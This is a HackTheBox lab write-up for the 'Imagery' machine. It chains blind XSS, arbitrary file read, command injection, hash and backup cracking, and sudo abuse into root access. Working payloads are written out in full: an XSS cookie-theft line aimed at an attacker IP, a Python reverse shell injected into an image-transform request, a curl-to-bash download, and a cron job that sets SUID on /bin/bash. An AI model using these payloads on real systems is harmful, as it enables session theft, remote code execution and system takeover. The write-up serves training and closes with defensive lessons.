HTB: Imagery Writeup
Imagery - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Imagery |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Imagery is a medium-difficulty Linux machine centered on exploiting a web application vulnerable to blind XSS and arbitrary file read. By stealing admin credentials via a blind XSS payload, an attacker gains access to a file download feature that lacks input sanitization. Reading the application source code reveals an image transformation endpoint vulnerable to command injection through unsanitized subprocess parameters. After achieving initial foothold, discovering an encrypted backup file leads to leaked credentials for the mark user. The mark user can execute a custom Charcol backup utility as root without a password. By exploiting the Charcol password reset and cron job creation features, an attacker can set the SUID bit on /bin/bash and achieve root access.
TL;DR: Blind XSS → Admin Cookie Theft → Arbitrary File Read → Source Code Review → Command Injection RCE → Encrypted Backup Cracking → mark User Lateral Movement → Charcol Sudo Abuse → SUID Bash → Root Access
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.79.147 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -Pn -p$ports -sC -sV 10.129.79.147Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)Two open ports identified: SSH on port 22 and an HTTP service running Werkzeug/Flask on port 8000.
Service Enumeration
HTTP Service (Port 8000):
- Werkzeug 3.1.3 web server running Flask with Python 3.12.7
- Hosts an “Image Gallery” application
- Accessible at
imagery.htbafter adding to/etc/hosts
echo "10.129.79.147 imagery.htb" | sudo tee -a /etc/hostsThe web application provides:
- User registration and authentication
- Image upload functionality
- Dashboard displaying uploaded images
- A “Report Bug” feature in the footer for users to submit issues
Vulnerability Assessment
- Blind XSS in Bug Report Form — The bug reporting endpoint processes user input without proper sanitization, allowing arbitrary HTML/JavaScript execution when viewed by the admin.
- Arbitrary File Read — The admin panel contains a log download feature with an unsanitized
log_identifierparameter vulnerable to path traversal. - Command Injection via Image Transform — The image transformation endpoint passes user-controlled parameters directly to
subprocess.run()withshell=True, enabling OS command execution. - Weak Credential Storage — User passwords stored as unsalted MD5 hashes in
db.json. - Exposed Backup File — An AES-encrypted backup in
/var/backupcontaining leaked credentials for deprecated user accounts.
Initial Foothold
Step 1: Exploit Blind XSS to Steal Admin Cookies
The bug report form is processed by the admin without JavaScript execution restrictions. We craft a payload that exfiltrates the admin’s session cookie:
<img src=x onerror="window.location.href='http://10.10.15.23/c='+btoa(document.cookie);" />Submit this payload via the bug report form and monitor an HTTP server:
python3 -m http.server 80Expected Output:
10.129.79.147 - - [20/Jan/2026 19:34:12] "GET /c=c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVa<SNIP> HTTP/1.1" 404 -Decode the base64-encoded cookie:
echo 'c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhQZReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFXX2FHQS5wNlFxZy1fYkNvOWM5SzBISzBYLWw3dk16TmM=' | base64 -dOutput: Session cookie value for admin account.
Step 2: Access Admin Panel via Cookie Injection
Modify your browser cookies to use the stolen admin session cookie. Navigate to the admin panel where a log download feature is available.
Step 3: Exploit Arbitrary File Read to Access Source Code
In Burp Suite, intercept the log download request. The parameter log_identifier contains filenames. Modify it to read arbitrary files:
GET /admin/download-logs?log_identifier=/etc/passwd HTTP/1.1Verify RCE vulnerability by reading:
/proc/self/environ (reveals application home directory)/root/app.py (application source code)From the source code analysis, identify the following structure:
@bp_edit.route('/apply_visual_transform', methods=['POST'])def apply_visual_transform(): if not session.get('is_testuser_account'): return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
request_payload = request.get_json() transform_type = request_payload.get('transformType') params = request_payload.get('params', {})
if transform_type == 'crop': width = str(params.get('width')) height = str(params.get('height')) command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}" subprocess.run(command, capture_output=True, text=True, shell=True, check=True)Step 4: Crack Testuser Credentials
Read /root/config.py via arbitrary file read to locate the credentials file:
DB_PATH = 'db.json'Read /root/db.json to extract password hashes:
{ "users": [ { "username": "testuser@imagery.htb", "password": "5f4dcc3b5aa765d61d8327deb882cf99" } ]}Crack the MD5 hash using John the Ripper:
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=raw-md5Output: iambatman
Step 5: Login as Testuser and Upload Image
- Log in to the web application with credentials
testuser@imagery.htb:iambatman - Upload an image and note the
image_idreturned in the response
Step 6: Exploit Command Injection in Image Transform
Create a JSON payload with command injection in the width parameter:
cat > payload.json << 'EOF'{ "imageId": "UPLOADED_IMAGE_ID", "transformType": "crop", "params": { "x": "0", "y": "0", "width": "800;python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.15.23\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\");'", "height": "600" }}EOFStart a netcat listener:
nc -lnvp 1337Send the payload via the /apply_visual_transform endpoint:
curl -X POST http://imagery.htb:8000/apply_visual_transform \ -H "Content-Type: application/json" \ -b "session=ADMIN_SESSION_COOKIE" \ -d @payload.jsonExpected Output:
Connection received on 10.129.79.147 48316web@Imagery:~/web$Privilege Escalation
Step 1: Stabilize the Reverse Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm# Press Ctrl+Zstty raw -echo; fgStep 2: Enumerate System via Linpeas
curl http://10.10.15.23/linpeas.sh | bashKey Finding:
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aesStep 3: Decrypt AES-Encrypted Backup
Download the encrypted file and determine its format:
file web_20250806_120723.zip.aes# Output: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"Use dpyAesCrypt.py to brute-force the password:
virtualenv envsource env/bin/activatepip3 install pyAesCryptpython3 decrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt -t 100Output: Password found: bestfriends
Decrypt and extract:
unzip web.zipcat web/db.jsonExtract mark user credentials:
{ "username": "mark@imagery.htb", "password": "5d41402abc4b2a76b9719d911017c592"}Step 4: Crack Mark User Hash
echo "5d41402abc4b2a76b9719d911017c592" > mark_hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mark_hash.txt --format=raw-md5Output: supersmash
Step 5: Switch to Mark User
su mark# Password: supersmashid# uid=1002(mark) gid=1002(mark) groups=1002(mark)Retrieve the user flag:
cat /home/mark/user.txtStep 6: Exploit Sudo Privilege on Charcol
Check sudo privileges:
sudo -l# User mark may run the following commands on Imagery:View Charcol help:
sudo /usr/local/bin/charcol helpKey Feature Identified: -R flag to reset password to default (requires system password verification).
Reset the Charcol password:
sudo /usr/local/bin/charcol -R# Enter system password when promptedRestart Charcol in shell mode:
sudo /usr/local/bin/charcol shellSet a new application password and master passphrase when prompted. Then enter the interactive shell.
Step 7: Create Malicious Cron Job
Once in the Charcol interactive shell, create a cron job that runs as root:
charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"# Enter application password when promptedWait for the cron job to execute (should run within 60 seconds):
mark@Imagery:~$ ls -la /bin/bash# -rwsr-xr-x 1 root root 1474768 Oct 26 2024 /bin/bashStep 8: Elevate to Root
Execute bash with the SUID bit set:
bash -p# uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)idRetrieve the root flag:
cat /root/root.txtAttack Chain Summary
Blind XSS Payload ↓Admin Cookie Theft ↓Arbitrary File Read via Admin Panel ↓Read app.py Source Code ↓Extract db.json Credentials ↓Crack testuser MD5 Hash (iambatman) ↓Login as testuser ↓Upload Image ↓Command Injection in Image Transform ↓Reverse Shell (web user) ↓Discover Encrypted Backup File ↓Brute-Force AES Password (bestfriends) ↓Extract mark Credentials from Backup ↓Crack mark MD5 Hash (supersmash) ↓Lateral Movement to mark User ↓Exploit Charcol Sudo NOPASSWD ↓Reset Charcol Password ↓Create Cron Job to chmod SUID /bin/bash ↓Root Access via bash -pTools Used
| Tool | Purpose |
|---|---|
nmap | Port discovery and service enumeration |
curl | HTTP requests and file downloads |
Burp Suite | Request interception and parameter manipulation |
john | MD5 hash cracking |
base64 | Cookie decoding |
dpyAesCrypt.py | AES password brute-forcing |
unzip | Archive extraction |
nc | Reverse shell listener |
linpeas.sh | System enumeration |
Key Learnings
Techniques Practiced
- Blind XSS exploitation for credential theft
- Arbitrary file read via path traversal
- Source code review to identify hidden vulnerabilities
- Unsanitized subprocess command injection
- AES encryption brute-forcing with Python
- MD5 hash cracking with dictionary attacks
- Privilege escalation via sudo misconfiguration
- SUID bit manipulation for privilege elevation
- Interactive application exploitation (Charcol)
Lessons Learned
-
Client-side security matters: Missing
HttpOnlyflags on session cookies allowed XSS to steal admin credentials; always secure sensitive cookies with appropriate flags. -
Input validation is critical: The arbitrary file read and command injection vulnerabilities both stemmed from insufficient input sanitization and validation of user-supplied parameters.
-
Avoid shell=True in subprocess calls: Passing
shell=Truewith unsanitized user input is a critical security flaw; use parameterized execution instead. -
Weak password storage: Unsalted MD5 hashes are trivially crackable; use bcrypt, Argon2, or similar modern password hashing algorithms.
-
Backup security is important: Encrypted backups should use strong, unique passwords and be stored securely; weak encryption passwords are discoverable via brute-force attacks.
-
Sudo privilege review: Applications run with
NOPASSWDsudo should have no dangerous functionality; the Charcol password reset and cron job features were exploitable when run as root. -
Cron jobs as attack vectors: Creating scheduled tasks with elevated privileges can provide persistent root access; restrict cron job creation capabilities in privileged applications.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>